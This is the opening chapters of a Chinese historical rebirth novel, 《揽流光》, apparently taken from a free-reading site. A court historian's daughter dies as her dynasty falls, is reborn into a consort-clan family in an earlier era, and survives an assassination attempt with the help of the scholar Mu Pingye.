《揽流光》 1. 月照云归(一) 《揽流光》全本免费阅读 天渐渐暗了下来,浓云像城外驻扎的军队一般压境。 乌云在空中不断翻滚,寒风渐起,枯树随着寒风左右摇摆,那脆弱的树枝摇摇欲坠。 终于,在雪花落下的那刻,“嘎吱”一声断裂,无声坠落。 远处的城楼在纷飞的雪花中晦暗不明,城墙上士兵的黑袍随着寒风飘荡,长枪上的红缨为这昏暗的寒冬缀上了一抹艳丽。 一位女子身着一袭白衣,犹如这世间最干净的神女。 她抱着怀中的书籍不停地奔跑。 她跑过空荡的街道,跑过残破的酒楼,跑过荒废的宅院。 快一点,再快一点,她心想着。 终于到了。 这是城北一处十分普通隐蔽的农庄,这里聚集了几乎所有的当朝史官,他们的面容和京都一样破败衰落。 敌军压境。 很多官员已经携带家眷逃跑了,北蛮人还保有屠城的习惯,如今还留在城里的官员寥寥无几。 毕竟留下就是等死。 容玦将怀中的书籍递给为首的陈大人:“大人,这是家父整理的桓帝在位的史书。” 这些书籍在一路的颠簸中被保护得很好,可以窥得它们的珍贵。 陈大人发冠潦乱,每根白发都是历史的痕迹;憔悴的面容上,每一道皱纹都写满了岁月的无情。 他和这王朝一同步入了暮年。 他干涸的双手颤抖着接过书籍,眼中蕴含着泪水,哽咽道:“好好好,即便王朝覆灭,这也是我等能为盛朝做的最后一件事情了。” 他将大家记录的史书按照时间顺序整了一遍,却发现了一封信:“容丫头,这是不是晚亭写给你的?” 容玦接过信封,看着信封上熟悉的字迹,她没有缘由地开始心慌。 一种不祥的预感漫上心头。 她呼吸不断加重,颤抖的双手险些拿不住这封薄如蝉翼的信纸。 阿玦吾女: 见字如晤。 汝当此时,定与诸公集。父生平自谓不周,生当衰末之季,皇朝沦丧。 父在治书,频有感伤,抚史叹息,恨不逢时。 若使父生于桓帝之世,必同牧平也终绝外戚之患,使朝野安享百年。而今已矣,惜哉! 父非孔孟之贤,未能为天地立心;知之有限,亦不能著书立言为生民立命。书生也,生逢离乱,不能挥剑疆场建功立业,惟愿能转笔端,稍挽世道于既颠,为往圣继绝学。 …… 今城陷我身死国灭,是我所愿,汝当生还。 无可复言,努力加餐饭。 泪水像一场破天大雨般涌出,那苍劲有力的字迹像雨幕中远方的风景一般模糊不清。 陈大人看到容玦的眼泪一颗一颗的滑落便心中了然,叹了口气:“容丫头,晚亭怕是早已有殉国之心,吾等也是。你快与我这孙儿带着书离开吧,一定要让后世知晓到底发生了什么。” 容玦仔细小心地将信装入怀中。 她一把抹掉眼泪,礼节十分周到地向各位大人福了福身:“阿玦与陈家哥哥一路只会拖累他,他一人反而能走得更快更远。阿玦自知命不久矣,还愿各位大人谅解,阿玦想与阿爹同路。” 说完,不顾身后等人的追喊,大步奔跑,向着家奔跑。 敌军已经在攻城了,空荡的街道中传来的都是战争厮杀的声音。 还有零星的百姓向着城北奔跑,试图逃离这必死的牢笼。 容玦一袭白衣,翻飞的衣裙与片片雪花交织出一支舞曲。 她在这昏暗的街道上犹如鬼魅般逆着人流而行。 天更暗了,纷飞的雪花越来越大,似是为这末路王朝唱上最后一曲挽歌。 突然前方火光乍起,犹如破晓的朝霞,刺破了这黑暗的天际。 “轰隆”一声,城破了。 她大步奔跑,终于看到了火海中的父亲。 “阿爹!!!”她嘶嚎着,雪花在她脸上融为雪水,一时间分不清到底是眼泪和雪水。 容海将将不惑之年,却已满头白发,脸上的沟壑犹如风烛残年的老人。 他似乎是笑着的,以身殉国,这是他作为文官能为这个王朝做的最后一件事。 将军战死沙场既全了忠国之名又得万世流芳。 文人呢,文人风骨永埋灰烬之中。 “嘭”房门被推开,几名敌军侍卫闯入。 “呦,这京都美人儿就是漂亮啊!”这人脸上还挂着未干的血迹,面容猥琐地朝容玦走来,伸出那只沾染了无数平民鲜血的手来捉她。 她毫不犹豫转身冲进了火海。 以身殉国,她也许没有那么大的勇气。 可和阿爹一同前往黄泉路,也不会太孤单。 总好过死于敌军的刀刃之下,对她而言这短短十六载也算是死得其所。 *** 容玦睁开双眼,原本澄澈的双眸中盛满了悲痛与不舍,浓密的汗珠铺满了她的额头,衣衫被汗水浸湿。 她恍惚间还以为自己置身于那片火场之中,直到微风吹来青色的帷幔拂过她的脸庞,隐约间嗅到了些安神香的味道,她才渐渐放松。 她想撑起身子才发现手被攥着。 周韫感到手中的小手动了动,她立刻睁开了眼,看到女儿已经醒来,原本丰腴的面颊因昏迷凹了下去,只是那双眼眸依旧灵动如旧。 她赶忙扶着女儿坐起身子,为她倒了杯水,柔声问道:“阿玦可还有哪不舒服?” 容玦竟重生到了阿爹记录的桓帝在位时期,阿爹所说的王朝由盛转衰的节点。 更加讽刺的是,原身竟是著名的外戚薛勖霖的女儿,十四岁的薛容玦。 这位衣着精致的贵妇人,面容是脂粉也遮不住的憔悴。 容玦知晓这是原身的母亲周韫,她自薛容玦落水昏迷起变昼夜不歇地陪在她身边,薛容玦的父兄也是常常衣不解带地陪伴。 自她苏醒二人才被劝着去上朝,只留周韫陪伴,二人每日归家必先来探望薛容玦。 容玦拉过周韫的手,努力挤出笑容,声音因昏睡有些嘶哑:“阿娘,女儿没事。让母亲担心倒是女儿的罪过。” 周韫手上感觉到女儿手掌传来的温热,听到女儿醒来后的第一句话她才真正感觉到女儿真的醒来了,不禁一下红了眼眶。 这几日她虽是醒来了却总似分不清梦境与现实,周韫拿起帕子掩了掩眼角,面容是挡不住的开心,摸了摸女儿的脑袋:“阿玦平平安安的就好。” 容玦自幼丧母,周韫让她感受到了久违的母爱,言语中也不禁多了几分真心:“阿娘快去歇着,这些时日怕是都没能睡个好觉。女儿洗漱一番,晚上我们一家人一起吃饭可好?” 周华闻言更是泪水涟涟,拉着容玦又絮絮几句才被容玦和婢女劝回去。 容玦刚刚醒来,这一番拉扯费了她不少精神。 婢女月红看着她苍白的面色,上前扶着她靠在床上:“姑娘可要用些粥?” 容玦摆了摆手,目光穿过月红看着绿意盎然的庭院,红黄交织的芳草花点缀在庭院之中随着微风怡然自得地摆动。 月红瞧着自家姑娘看着窗外的芳草花发呆,眼中藏着她看不懂的情绪。 她听到姑娘平淡地说道:“不急,你且先告诉我这是平德几年?” * “阿爹,这 2. 月照云归(二) 《揽流光》全本免费阅读 太阳西沉,四周的云朵被渲染成一片橙红,云霞与落日像是一对依依不舍吻别的爱人,它们的爱意将整个大地都笼罩着一层橙色的朦胧。 湖面映射着璀璨晚霞,天地一色,万物静好。 紫藤架下的少女身着一袭青色衣衫,乌黑的秀发松松挽了个髻子斜躺在摇椅上。 她肤若凝脂,素手拿着团扇有一搭没一搭地扇着风,双颊如春日樱花般粉嫩,朱唇皓齿,一双眸子明亮动人,尤其是眼下那颗泪痣堪堪惹人垂怜。 月红在一旁看着自家姑娘的饱满的双颊与无双的美貌,对自己这些时日来对姑娘的精心养护十分满意。 容玦没有注意到月红的自我沉醉,她一双明眸看着天边的云霞,脑中却不由自主地回想起阿爹书中所书: 「牧平也,平德八年生并州人也,世已不可考,师从大儒程耳。平德二十八年入仕,拜吏部侍郎……」 「薛勖霖,时之良将也,妻周氏,生一子一女。子琮继父业,为将。其女适文符,忽殒身于平德三十年……」 容玦不善辞咏,亦无以鼓琴,惟独记忆过人。 “忽殒身于平德三十年……”她摇着团扇喃喃道。 容玦忽觉有些心情烦闷,将团扇盖在脸上内心长叹。 “姑娘,夫人请您前去正堂。”周韫身边的芙蕖来传话。 月红赶忙上前扶起容玦,容玦拿下团扇扶着月红站起身子笑道:“麻烦芙蕖姐姐了,我这就去。” 芙蕖也笑着上前接过月红的手扶着容玦:“姑娘这几日气色看着好多了,人也丰腴了些。” 容玦将手中的团扇递给身后的月红,拍了拍芙蕖的手:“是父亲母亲日日关心着我,兄长也总是带些古怪的小玩意儿来瞧我,这才好得快了些呢。” 容玦一路和芙蕖话着家常,说话间便到了大厅,刚抬起脚还未迈进门槛,差点被面前冲来的黑影吓得摔一跤,好在月红和芙蕖两人眼疾手快扶着她。 周韫急忙上前扒拉开这黑影,拉过容玦的手,上上下下仔细检查了一番才放心,又转过身对始作俑者骂道:“臭小子,你妹妹身子刚好,你这是想做甚么!这么大人了还这么毛毛躁躁!” 被骂的薛琮也不恼,站在容玦身旁面色傲娇地说道:“有我在妹妹怎会摔倒,母亲也太小瞧了我些。” 周韫狠狠瞪了他一眼,无奈道:“那你妹妹是怎么落水的?” 薛琮故作镇静的面容开始产生裂痕,面上显出慌乱,结结巴巴地说道:“我……我也没想到文符的表妹如此凶悍……” 容玦曾问过她是如何落水的,大家都支支吾吾,这是她第一次听说。 文符?不就是薛容玦的丈夫? 她一双明眸澄澈无暇,看着兄长语带好奇地问道:“文符是何人?他表妹和我素有仇怨吗?” 薛琮一时间不知道该如何说,救助的目光看向母亲。 周韫叹了口气:“原有意为你和文符说亲,谁知他有个青梅竹马的表妹十分难缠,仅仅只有双方有意便来找你,你哥哥当日一时大意,你就在推搡间掉入荷塘了。” 容玦总觉得哪里有些奇怪,正欲开口询问就见薛琮从身后掏出一个木雕娃娃,满怀期待地看着她:“妹妹别想糟心事了,看看这个娃娃可喜欢?” 容玦拍了拍母亲的手让她放心,接过他手中的木雕娃娃。 她从小生活在战乱频仍的王朝末年,幼时丧母,父亲沉溺于历史之中,她从未感受过如此炽热的亲情。 她泪意上涌却暗自强压,一双明眸灿若繁星笑着对薛琮道:“很喜欢!多谢阿兄!” 薛勖霖看着其乐融融的一家人,又想到前些日子病床上毫无生气的女儿也不禁有些动容。 他不动声色地擦了擦眼角,站起身子拥着一家人道:“好了好了,快些入座吧。” 薛琮拉着容玦坐在自己身边,小声地说着改日带她出去玩,容玦激动地点点头,她好想知道盛世繁荣的京都该是何种景色! 薛勖霖看着两人,和周韫对视一眼都无奈地笑了笑,又道:“出去玩改日再说,皇后娘娘传话来说想阿玦了,要阿玦明日入宫小住几日。” 周韫眉头紧锁,看着丈夫担忧道:“阿玦身子还有些虚弱,过几日不行吗?” 薛勖霖拉过妻子的手安慰道:“你知晓的,清璇一直很喜欢阿玦,若不是阿玦年岁太小,早将她许给太子了。放心吧,无事的。” 又转过头对阿玦和蔼道:“阿玦此番虽经受了无妄之灾,却也性子乖巧伶俐了许多。入宫后万不可给皇后娘娘添麻烦,可知?” “父亲放心,女儿知晓的。”容玦嘴上乖巧地答话,可思绪却早就飘进了历史的洪流之中。 这种感觉对她而言很奇妙。 薛勖霖、薛琮、薛清璇这些在史书上的名字,对她而言只是笼统的“外戚世家”,甚至于后世在提及他们时都充满贬义,若无他们把权后世又如何会…… 可突然间,他们变成了鲜活的人。 他们不再是史书中的几页纸,有喜怒哀乐,有爱恨嗔痴。 对她而言触手可及。 历史上的“薛家女”之名竟是她的姓名。 上天竟偏偏让她重生到平德二十八年。 是不是说冥冥之中有所指引,也许她能做些什么…… * 明明今日是一个风朗云清的好天气,可容玦行走在这宫道之上总觉压抑。 宫墙高耸入云,蓝天在两道宫墙的夹击中显得又远又小。 灰色的宫墙悠长无比,恍惚间她又回到了前世的街道,一切都没有尽头。 所有的婢女与内侍安安静静地走着,遇到他们时会安静地行礼、离去,仿若傀儡师手中没有灵魂的傀儡。 像是城破前一日的京都,她心想。 安静,没有生气。 她的心口忽然绞痛,左手不自觉抓住了身旁薛琮的衣袖。 薛琮反应极快,立刻揽着容玦,语气急切:“阿玦,怎么了!” 薛琮看容玦痛得半弯下身子,大口大口地喘着气,好半天才缓过来,却还红着眼睛拍着胸口安慰自己:“无事,让阿兄担心了。” 薛琮急的眼睛都红了,拉着容玦扭头就走:“回家,我派人跟姑母说一声。” 容玦赶忙拉住他,好声好气地劝到:“阿兄阿兄,听我说。我就是走累了,阿兄陪我去御花园坐坐可好?面见娘娘这等大事可不能随便说不去就不去了。” 薛琮红着眼睛看着妹妹,再三地确认道:“真的没事?姑姑不会在意的,那一会让姑母宣个太医瞧瞧吧,若是身子虚弱咱们就回家。” 容玦看着薛琮这个八尺高的武将,面容坚毅英俊,此刻却像一只红眼小兔子不禁笑出了声:“好,都听阿兄的。” 五月的夏日是容玦最喜欢的时 3. 月照云归(三) 《揽流光》全本免费阅读 椒房殿的富丽堂皇,是任容玦看多少民间话本子都无法想象的。 闯入容玦视线的是高处各式各样的檐角,殿门上书「椒房殿」三个大字。 容玦随着薛琮跨过高高的殿门,婢女内侍们都各司其职,整个宫殿井然有序。 院内充满了生活情趣,两个小花园姹紫嫣红十分漂亮,一颗高大的银杏树矗立一旁,想来秋日必是一番胜景。 花园中间有一片砌出来的小湖,几条锦鲤自由自在地遨游。湖面上的荷花慵懒地伸展的花瓣,假山上还有几只兔儿乱跳。 二人从湖面上的廊桥穿过,又行过一扇高大的木门,上雕着彩凤飞舞。 走进内殿,一股茉莉清香飘入容玦鼻中令她神清气爽。 阳光穿过窗户跑进内殿,明明灭灭的光影为殿内衬上了一层神秘色彩,殿内随处可以见以鲜花装饰,显得淡雅又幽静。 薛皇后高座于内殿之上,身着金银丝鸾鸟朝凤绣,头上的云纹凤雕簪彰显着独属于皇后的气魄。 容玦不自觉地看呆了,直到听到上首的薛皇后温柔的声音才反应过来:“阿玦这孩子怎么了,可是还没好?” 容玦这才反应过来赶忙向薛皇后行礼问安。 薛皇后招手让容玦近前,容玦看到薛琮在一旁偷笑,狠狠瞪了他一眼。 薛皇后虽已上了年纪,但仍能看出少女时的娇艳明媚。所有见过薛皇后少女时期的人,见到薛容玦都会盛赞二人容貌有七分相似。 可惜,深宫多年蹉跎了她的大好年华。 若说薛皇后年轻时如刺玫一般张扬热烈,如今的薛皇后更像萼绿君,多了时光赋予她的沉静与豁达。 薛皇后拉着容玦的手让她坐在一旁,仔仔细细地看了她一会,语带哀怜地说道:“本宫瞧着阿玦怎么瘦了一圈呢?” 「薛清璇,惠帝之母也,宫女出,与先帝共翦田氏外戚。及灵慧太子夭,惠帝失志,璇遂垂帘听政,薛氏权势极矣。其手段辣,心机深,然所颁政令,万民皆颂……」 容玦看着这位薛皇后脑中闪过很多念头,却什么也没有抓住。 她笑着回道:“阿玦已然大好了。多亏了钟太医时时看顾和还有皇后娘娘遣人送来的补药呢。” 薛皇后状似生气地和薛琮抱怨道:“你瞧瞧你妹妹,病了一场都和本宫生分了。” 薛琮坐在椅子上左手倚在桌上撑着脑袋,右手将一个又一个西域进贡的水晶葡萄抛进口中:“姑母莫恼,妹妹大好之后好多事都不记得了,人也乖巧了不少呢。” 薛皇后闻言着急地让身边的大婢女碧桃去请钟太医,被容玦拦住了。 她看着薛皇后蹙着的眉头,担忧不似作假。 原本悬着的心也放下了,语气也多了几分亲昵:“姑母,阿玦无事,阿兄乱说呢,他的性子您还不清楚?是阿爹阿娘不让钟太医告诉您的,怕您担心。” 她站起来,在薛皇后身前转了一圈:“姑母瞧瞧,阿玦无事呢。” 薛皇后这才重展笑颜,拉着容玦话了好一会子家常,又道:“阿玦就在宫中安心住下,你常住的东偏殿早收拾好了。太子忙得根本没时间来瞧本宫,本宫寂寞得紧呢。” 虽是玩笑之语,却也窥得几分宫中密辛。 薛清璇与桓帝相逢于微时,二人携手同行走过前朝后宫的波诡云谲。 可时光瞬息如流电①,薛清璇已不再年轻。宫中又何缺那青春少艾的少女? 容玦的心思千回百转,看着薛皇后期待的眼神,她心有不忍:“阿玦也想姑母了呢,阿玦近日新学会一种甜点,改日做给姑母吃。” 薛皇后十分开心表示期待,薛琮却夸张地补充道:“姑母不知道,阿玦第一次做的时候面粉沾了满脸,我还以为是雪人成精了呢。” 容玦又羞又恼,冲着薛皇后嗔怪道:“姑母看,阿兄成日里就是这么欺负人的!” 薛皇后看着侄子侄女的打闹,不由得想到了早年自己膝下的一双儿女,可惜…… “阿琮年岁也不小了,本宫瞧着裴家三姑娘不错,不若本宫为阿琮说说媒?” 薛琮本来正在饮茶,闻言差点呛到,茶水洒了一地。 他面颊通红,双手捏着衣摆擦了擦手,急匆匆站起身抱了抱拳话还没说完人转身就跑了:“姑母饶了侄儿吧,侄儿还不想成家呢。是不是该上午膳了,我去瞧瞧有没有阿玦爱吃的……” 姑侄二人看着薛琮狼狈的背影,都笑得乐不可支。 三人一同用过午膳,薛琮就先告退了,离开前还悄悄跟容玦说过几日带她出宫去玩。 马上到端阳节,薛皇后还要忙碌后宫事宜,便让婢女青鹭带着容玦转转。 容玦推说身子有些乏,想先歇着,让月红陪着便好。 * “姑娘,好心的姑娘,给个馒头吃吧……” “哥哥,姐姐给口吃的吧……” 这是容玦七岁时走在京都曾经最繁华的朱雀大街上所看到的场景。 那时北方已经开战,大量的难民涌入京都,他们衣衫破烂、面容枯萎。 容玦一双眼睛偷偷观察着来往的路人,他们对这样的场景似乎已经司空见惯,面上充满了麻木。 容玦拉了拉“阿爹”的手,悄声问道:“阿爹,什么时候能打完仗啊?” “阿爹”只是漠然地看着这灰色的京都,沉默不言。 她瞥见一个和她差不多大的女孩躺在巷子口一动不动,隆冬时节这个女孩身上的衣衫薄薄一层。 容玦松开“阿爹”的手跑到她身边,蹲下身子拉着她的手,亮晶晶的双眼看着“阿爹”道:“阿爹,她晕过去了,她的手好冰。” “阿爹”悲悯地看着她,开口却是容玦自己的声音:“她死了。” “阿爹”的面容突然幻化成十六岁的容玦,她蹲下身子摸了摸小容玦的头:“她死了,死于寒冬、死于人们的漠视、死于战争、死于王朝的崩坏。” “她太渺小了,她在这王朝末年什么也做不了,可你不一样。” 她坚定地注视着小容玦,语气温柔:“你可以改变历史,你可以让这一切都不会发生。” “容玦,大胆去做你想做的事情吧。” “不要怕。” 容玦猛然睁开眼睛,看到绿意盈盈的夏日,听到窗外蝉 4. 落絮无声(一) 《揽流光》全本免费阅读 容玦正悲春伤秋之际,她身后忽然传来一个熟悉的声音温润儒雅:“姑娘可是在寻什么书?” 容玦原本像一朵被日头晒蔫的紫花藿香蓟丧失了水分耷拉着头,闻言像是放入水中立刻恢复生机,所有的愁容一扫而光。 她转过头看到牧平也手中拿着一卷书,阳光终于穿透重重叠叠的乌云洒在牧平也身上,犹如天神下凡,落在了她的眼前,来帮她一同拯救人间。 她脸上洋溢起笑容,轻快地起身,语气中是毫不掩饰地惊喜:“牧公子如何在此?” 牧平也收起手中书卷,眉眼含笑,丝毫不见半分被罚的气恼:“不过来此寻本书籍,在下瞧姑娘似是在寻书未曾寻到,不知姑娘想寻何书,也许在下可以帮忙?” 容玦心中发虚,脑中千回百转讪笑道:“在寻前朝宣林年间史书。” 牧平也原本略带疏离的目光中增添了几分好奇:“敢问姑娘为何寻此书呢?” 容玦此时定了定心神,笑道:“不过闲来无趣,想读读前朝史打发时间而已,未曾寻到便算了。” 牧平也笑着递上了手中的书:“在下便是来寻此书,不若姑娘先看。” 容玦有些惊讶,宣林在位时间不长,短短十年都被外戚把持朝政,但外戚昏庸新帝上位后便被清算了,这段历史在前朝史中不过一场插曲,几乎无人记得,不知牧平也为何专程来寻此间史书? 她按下心中疑虑,摆了摆手:“我不过闲来无事打发时间,无妨的。公子看完后我再看即可。” 牧平也笑了笑,收回了探出的手:“那也好,不知该如何称呼姑娘,在下阅后将书送于姑娘。” 她看着他那如春水一般温柔的双眸,双手背后身子微微前倾,认真道:“那请公子记得,我叫薛容玦,‘聊逍遥兮容与’的容,‘昔昔都成玦’的玦。” “过些时日,我来藏书阁找公子取书。” 牧平也弯身捡起地上少女鬓边掉下的小苍兰,瞧着她欢快离去的背影,那个身影和梦境中的身影在渐渐重合…… “薛容玦……” 他轻轻将小苍兰夹在书中。 ** 端阳时节,年华正好的少女相聚一起放纸鸢。 不知谁家姑娘的蝴蝶纸鸢在空中断了线,随风飘过了京都、飘过了京郊、最终摇摇晃晃坠落在云林苑的射场上。 为彰显天恩,桓帝和薛皇后昨日特意带着一众人来云林苑过端阳,朝中大臣及其家眷也受邀前往,不少已提早到达。 容玦刚刚陪薛皇后用完早膳,便被薛皇后赶着和同龄人出去玩。 容玦刚出房门便看见空中的那个蝴蝶纸鸢,她心生好奇便追随着纸鸢而行,看着它坠落在高树枝上,叹了口气和月红说道:“可惜了这个纸鸢,还挺漂亮呢。” 月红还未来得及回话便听到一阵欢呼声,她好奇地看了看,只见前方一群人围在一起不知在做什么。 薛琮眼尖,一眼就看见了自家妹子,远远地招了招手,小跑过来笑着问道:“阿玦要不要来玩射粉团?” 容玦看着前方的少男少女,心中跃跃欲动,笑着问道:“阿兄不玩吗?” 薛琮失笑道:“我们男子成日里骑马射猎,若是上场射粉团,你们可什么都吃不到了!” 薛琮一把拉起她的手腕朝场内走去:“走,阿兄带你玩,肯定能吃到。” 显然大家都认识容玦,纷纷上来关心她是否大好。 大部分人她都没有印象,薛琮在一旁帮她周旋,并暗自告知各人身份,容玦在一旁只需向大家展露出恰到好处的笑容即可。 大家看二人上场,便将位置让给了出来。 薛琮在一旁指导着容玦该如何拿弓,如何发力:“再用一点力,往左一点,好,开弓!” 容玦遵照着薛琮的指导,凝神静气,盯着盘中的角黍,射出手中的箭。 她还未看清自己是否射中,便听到一旁传来的欢呼声,一名女子冲上前来:“阿玦看起来果真大好了,我就知今日能见到你!” 容玦将射中的粉团递给薛琮,薛琮笑着接过一口吞下。 容玦放下手中的小弓,三人移步一旁。 薛琮微微俯身悄声在容玦耳畔介绍:“胡清露,御史大夫胡陵之女,你的好玩伴。” 胡清露眼中浮上疑惑,薛琮解释道:“阿玦落水磕到了石头,很多事情都不记得了。” 胡清露还未说话眼中便浮上雾气,拉着容玦仔仔细细地看了看:“还好阿玦无事,否则我跟裴枫没完。” 容玦自醒来后,家人未曾跟她讲太多落水前的事情,许是觉得忘了也不错。 此生听到一个陌生的名字,疑惑道:“裴枫?” 胡清露没好气地说道:“文符的表妹。” 容玦了然地点点头。 她看着胡清露丰腴的面颊,身着粉色衣裙,扎着双髻,面容上还愤愤不平,俨然是一个不谙世事的世家少女:“让姐姐担心了,我已无事了。只是很多事情不记得了,还望姐姐勿怪。” 胡清露拿出自己编织好的五色长命缕为容玦戴上,口中还絮絮道:“那有什么的,我们阿玦平平安安的便好。” 容玦让薛琮不用担心她,云林苑的布防都是太子安排的,薛琮很是放心便留下两个姑娘自去和其他少年去射猎。 胡清露拉着容玦去山中采药草,大部分药草都是内侍提前放置好的,不过端阳节让这些贵女体验一二。 云林苑作为皇家园林倚山而建,不仅有各色风景,更有马场和猎场。 茗山十分高大,从山脚向上望去高耸入云,山峰被云雾缭绕颇有仙境之感。 胡清露瞧着半山腰的亭子道:“阿玦,不如我们中午在此山林中用午膳,也颇有一番野趣呢!” 容玦也觉得此提议不错便让月红和胡清露的婢女去带些甜品和茶水来,她们在半山腰的亭中等着。 盛夏将至,遍山翠绿。 二人说说笑笑慢悠悠地采摘着各色药草,听着山林中的泉水叮咚和蝉鸣阵阵,容玦心情前所未有地放松,与胡清露很快便熟络起来。 胡清露担心容玦大病初愈,走了一会便拉着她在一颗樱花树下的石头上休息,还未说两句话,身后就传来了不怎么友好的声音。 “呦,瞧瞧这是谁啊?原来是薛大小姐啊?这么快就好了?” 容玦和胡清露回头看去只见一群以紫衣少女为首的女孩们。 胡清露忿忿不平,正要起身反击却被容玦拉着手按下,容玦只是淡淡地问道:“清露姐姐可曾听到什么声音?是犬吠声吗?” 胡清露“扑哧”笑出声,瞥了一眼那人憋红的脸庞说道:“似是有呢,许是见人乱吠呢。” 紫衣少女大步上前,站在二人身前怒道:“你们说谁是狗呢?” 容玦双眼清澈地看 5. 落絮无声(二) 《揽流光》全本免费阅读 变故发生在电光火石间。 凌空而来的箭矢直冲着容玦而去,牧平也原本站在一旁离她最远。 他大步上前拉开了容玦,躲过一箭,箭矢深入身后的树木数寸。 “啊!!”文繁荫吓得直往文符身后躲,胡清露也吓得蹲在地上一动不动。 容玦直到被牧平也拉开才惊觉发生了何事,迟来的冷汗浸满衣襟。 容玦正欲上前拉起胡清露,接二连三的箭矢破空而来,像是长了眼睛似的直直往容玦身边来。 牧平也拉着她躲在一颗大石块后才堪堪避过。 容玦意识到这是针对她的一场刺杀,用力甩开了牧平也拉着她皓腕的手,对胡清露喊道:“清露姐姐快下山!刺杀是冲着我来的,你们快走!若是可以请告知我父兄!” 说完她转身跑向前方的树林之中。 树林中多是百年大树,枝叶繁密,阳光很难穿透层层树叶的遮蔽照入。 容玦今日一身碧绿衣裙正好融入其中,更有许多灌木与藤蔓,即便对于上乘弓箭手来说也未能快速找到目标。 突然有人拉着她躲在一颗得三人合抱的大树后,斥道:“你疯了?” 容玦杏目微睁,原本娇俏的面容如今狼狈不堪,脱口而出:“你怎么没下山?” 牧平也原本柔和的面容此刻如冰山般冷峻,语气也十分冷冽:“薛姑娘不要命了吗?” 容玦垂下眼眸,结结巴巴道:“我……我只是不想连累大家……” 牧平也语气柔和了一些,却仍十分冷淡:“姑娘随我来,前方似有个洞穴,能稍稍躲避。” 牧平也对山林似乎很是熟悉,能找到隐蔽却又好走的路,刺客一时间也未曾追上来。 很快二人便到了洞穴之中,牧平也用枝叶和藤蔓在洞口作了一个遮蔽,倒是很好地将二人藏于此。 容玦坐在角落双手抱膝,下巴放在膝盖上看着前方忙碌的牧平也。 加上今日,她是第三次见到他,每一次他都身着一袭白衣。 如白雪般纯洁无暇。 这总让她想到幼时繁华的京都,那一个令她印象深刻的元宵节,即便它是虚假的繁华。 那日阿爹带她上街去看元宵灯会,冬日里冰雪襟怀,琉璃世界,一盏盏灯笼闪烁街道两侧,碧月当空,星落人间,星罗棋布的花灯在暗夜里流光溢彩,街上人声鼎沸,灯影斑驳陆离,行人穿梭其中,佳人笑语盈盈,玉沙飘洒纷纷。 寒风凛冽,却难掩满目繁华,天宫瑶池,不如人间烟火。 阿爹抱着她正看一只玉兔宫灯,突然间马蹄声由远及近,路上行人被撞得四散零落,阿爹忙抱着她在角落安置好。 只听得行人七七八八地说着:“蛮子开打了!” “听说北境已经被屠了一座城了!” “……” 容玦那时已经四五岁,虽不大知晓大家在说什么,但从那一天起五彩斑斓的京都就变成了灰色的。 春雨如酥、杨柳依依是灰色的。 夏日烈阳、石榴开遍是灰色的。 秋风萧瑟、红叶黄花是灰色的。 只有冬雪纷飞、梅花枝上堆是白色的。 白雪永远那么纯洁。 直到她赴死那天,亦如是。 容玦突然间看到一点殷红,像冬日的梅花绽放:“牧公子可是受伤了?” 牧平也瞥了一眼右臂,轻描淡写道:“无事,刚被树枝刮了一下。” 容玦看着他清淡的目光,斟酌再三还是开口道:“多谢公子相救,此番连累公子了。” 牧平也却没有看她,只是瞧着洞口处的藤蔓:“举手之劳而已。” 容玦想到今日的刺杀却觉得毫无头绪。 她又想到牧平也的深藏不露,和史书中的文弱书生完全不一样。 脑中思绪万千。 二人相顾无言,时间一点一滴地流过。 容玦瞧着挤过藤蔓缝隙照到地面上的月光,她伸手去碰月光却总从手中流过。 牧平也在一旁看着她的小动作,心中暗暗浮起好奇,便道:“姑娘一点也不害怕吗?” 容玦闻言愣了一下,下意识反问道:“害怕?” 牧平也环顾了一圈这漆黑的洞穴,唯一的光源便是那一点月光:“这里是树林,也许会有野兽出现。天色已晚,你我二人独处此洞穴,这些不都是女子会害怕的事情吗?” 她最害怕的时刻已经过去了,却又可以说还未曾到来。 她在大雪纷飞的街道上奔跑时害怕不能将书籍送到。 她害怕父亲毕生的心血毁在自己手中。 她读着阿爹的绝笔信时害怕不能再见到阿爹。 她望着火光乍起的家时害怕在这世间从此孤身一人。 可是,她已经孤身一人了还有什么可怕的? 容玦淡淡地笑了笑,那双眼眸是与年龄不相符的淡然:“死生之数皆有天定,非人力可扭转,若是上天要我今日命丧于此,我也无可奈何。若非公子今日拉开我,我必会被那箭矢所伤。 “公子反应极快,想来公子的身手不输我兄长。有公子在此我何惧野兽来袭。 “公子若想伤我,何必从白日等到月出呢?又有何可惧?” 牧平也听到这些话挑了挑眉,许是未曾见过这样的少女。 他看到少女微微侧头,试图透过藤蔓去看夜空中的素月,她眼下那一颗泪痣似是让他想到了什么,猛然移开了眼。 容玦突然站起身子,快走两步在洞口仔细听着:“公子可听到什么声音?” 牧平也拉开藤蔓,仔细地听着,笑道:“姑娘的兄长来了,不必担心。” 容玦一瘸一拐地走出洞穴,看着前方的火把心中突然涌上奇异的感觉。 自前世火中自焚后,她便十分惧怕火。 火光让她烈火焚身,还让她痛失亲人,对她来说犹如死神一般的存在。 可是前方的火光在这暗夜里为她带来了希望与生机,为她带来了亲人。 容玦忽地涌上泪意,双手挥舞着,大声地喊着:“阿兄!我在这里!” 前方的人似乎听到了她的呼喊,窸窸窣窣的声音由远及近。 薛琮把火把递给身后的侍卫,快步跑上前来,半蹲在坐在石块上的容玦身前:“还好阿玦无事,若是再有一次阿兄真是怎么都不能原谅自 6. 落絮无声(三) 《揽流光》全本免费阅读 薛皇后和薛勖霖二人先行前往大殿。 周韫心惊胆战了一晚上被一双儿女劝着前去休息。 待送走母亲,容玦这才拉着薛琮,细细询问白日里发生了什么,薛琮托腮看着桌上摇晃明灭的烛火,思绪逐渐被拉回到白日里。 * 天朗气清,惠风和畅,草场一眼望去如巨大的荷叶,随风摆动。 薛琮和一众世家子弟在打马球,这些人成日里当值难得今日能聚在一起打场马球,各个纷纷挽袖势要拔得头筹。 少年们一个不让一个,一时间马球场内尘土纷飞,却也无法遮挡他们肆意的笑容。 那笑容像阳光般灿烂,没有半分阴翳,是最纯粹的快乐与愉悦。 这份快乐似乎感染了树林的鸟儿,鸟儿纷纷扑棱着翅膀在高空盘旋。 桓帝瞧着少年郎们意气风发,不禁被这朝气蓬勃的氛围感染,兴致大盛邀薛勖霖、崔度一同下场,自己在一旁为两队计分。 连翩击鞠壤,巧捷惟万端。① 崔度和薛勖霖虽不如少年人灵巧,但二人毕竟行伍出身,马球技巧纯熟,两队一时间难分伯仲。 崔棠在一旁为自家兄弟喝彩,桓帝笑着打趣道长久不见她这般小女儿姿态了。 薛皇后一边神色淡然地瞧着马球一边和身边贵妇聊着天,显然对薛勖霖的技术十分自信。 